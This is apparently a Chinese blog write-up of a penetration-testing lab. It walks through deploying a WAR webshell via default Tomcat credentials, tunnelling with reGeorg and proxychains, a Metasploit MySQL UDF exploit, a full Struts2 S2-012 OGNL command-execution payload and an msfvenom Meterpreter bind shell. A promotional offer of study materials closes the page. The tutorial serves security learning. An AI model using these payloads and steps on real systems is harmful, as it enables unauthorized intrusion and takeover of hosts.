靶场攻略 | 记一次实验靶场练习笔记
前两天朋友分享了一个实验靶场,感觉环境还不错,于是对测试过程进行了详细记录,靶场中涉及知识点总结如下:
- War包制作
- regeorg内网代理工具的使用
- UDF漏洞利用
- Struts2-012漏洞利用
- Msfvenom模块的使用
本次实验靶场的网络拓扑结构如下图所示:

01
获取web据点
首先访问朋友给定的web服务器端口,为tomcat应用的默认页面,如下图所示:

如果刚开始没有思路的话,可以百度搜索一下Tomcat示例页面相关漏洞情况。访问目标manager后台目录,尝试tomcat默认口令tomcat/tomcat进行登录:

登录成功之后,tomcat管理后台有个部署war包的功能,可以通过上传war包getshell,获取服务器权限。

在攻击机kali中生成war包后门,可以用自己的木马,也可使用kali自带webshell,默认路径:/usr/share/laudanum/
jar cvf shell.war xx.jsp

在WAR file to deploy 功能处上传并部署后门war包,单击选择文件,选择生成的war文件并确定,点击击deploy按钮就完成了上传。
验证是否上传成功,浏览器访问注意事项:根目录+war包文件名+jsp webshell文件名
比如我上传了的war包名为cmd.war,木马名为:cmd.jsp
在浏览器地址栏中:hxxp://x.x.x.x/cmd/cmd.jsp

接下是连接上传的jsp一句话,使用C刀连接目标服务器的jsp木马
下载地址:https://github.com/Chora10/Cknife 可自行编译或者下载网上的程序虚拟机里执行。

菜刀成功连接后,会以树状形式显示webshell文件所处位置,如下图所示


02
添加代理
拿下web边界机以后,一般情况下,分两种情况:
-
有内网:以此为跳板,攻击内网其他机器,摸清目标内网拓扑环境,拿下靶标系统;
-
无内网:如果是项目,就可以收工了,不是的话,就可以作为代理池的一部分;
下面的情况属于有内网的环境,查看本机IP地址,发现两个网卡都有内网地址。

目标web服务器并无探测主机存活的工具,两种方式:
- 自己上传端口扫描工具||脚本
- 使用隧道代理工具,代理自己的工具进入目标内网中,做初步的信息搜集。
此处选择第二种方式,上传regeorg程序的tunnel.jsp脚本到目标服务器的shell目录下

web访问返回连接成功的信息(Georg says,’All seems fine’) 如下图所示,此为该工具流量硬特征,建议在下载后修改该字符串,或者使用升级版的neo-regeorg
https://github.com/L-codes/Neo-reGeorg 去特征且传输加密

使用regeorg工具建立隧道,命令如下:
Python regeorgsocksproxy.py -u hxxp://x.x.x.x/tunnel.jsp -p xxxx
-u 代理木马链接;
-p指定传输端口;

在proxychains工具配置文件下添加regeorg打通的代理端口
vim /etc/proxychains.conf 在最后一行添加regeorg的配置好的传输端口即可

代理nmap到内网扫描172网段敏感端口,使用TCP全连接扫描
一些Nmap使用语法:http://mang0.me/archis/40a439a4/

03
UDF漏洞利用
通过扫描得到的MySQL应用信息,尝试弱口令连接,一样的思路哪个应用不会搜索哪里

查看security_file_priv是否配置命令:
show variables like ‘%secure%’;
显示结果对应解释
Secure_file_priv=null //不允许导入导出文件Secure_file_priv='D:/' //允许导入到指定目录Secure_file_priv=‘’ //允许到任意目录Secure_file_priv=”/” //允许到根目录

发现为空可以写任意目录,使用proxychains将msf代理到目标内网中,利用MySQL的UDF漏洞进行命令执行。

如果忘记模块,可以先search 需要的模块内容关键字
Use exploit/multi/mysql/mysql_udf_payload
查看未设置的参数 show options
Password和rhost参数可以设置

Set rhost 172.16.15.16Set password 123456 run

虽然显示没有会话,但是so文件已经传上去了,使用默认的MySQL命令连接,执行自定义函数,成功执行,说明udf提权成功。

04
S2-012漏洞利用
代理nmap到内网扫描10网段机器敏感端口

发现10.10.60.250:8080存在struts2-012漏洞

Struts2-012 payload 测试
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","-al"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
成功读取/etc/passwd文件

10.10.60.66和172.16.15.16一样的思路。

弱口令:admin/password


上传菜刀的jsp木马

使用蚁剑服务器管理工具连接成功

Msf生成Linux木马
msfvenom -p linux/x86/meterpreter/bind_tcp rhost=10.10.60.66 lport=1234 -f elf > shell.elf

生成完成后将该木马程序上传到目标服务器的web目录下,赋予权限,在msf中开启监听模块,执行程序,即可拿到会话
设置msf下handler模块必要的参数
set payload linux/x86/meterpreter/bing_tcpSet rhost 10.10.60.66Set lport 1234

exploit -j 后台获取会话Sessions 可查看会话 -i 进入该会话

本次实验到此结束,通过弱口令并结合应用特性拿到主机权限,使用内网代理工具建立隧道,探测内网段端口及对应漏洞,拿下对应主机权限。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

2157



被折叠的 条评论
为什么被折叠?



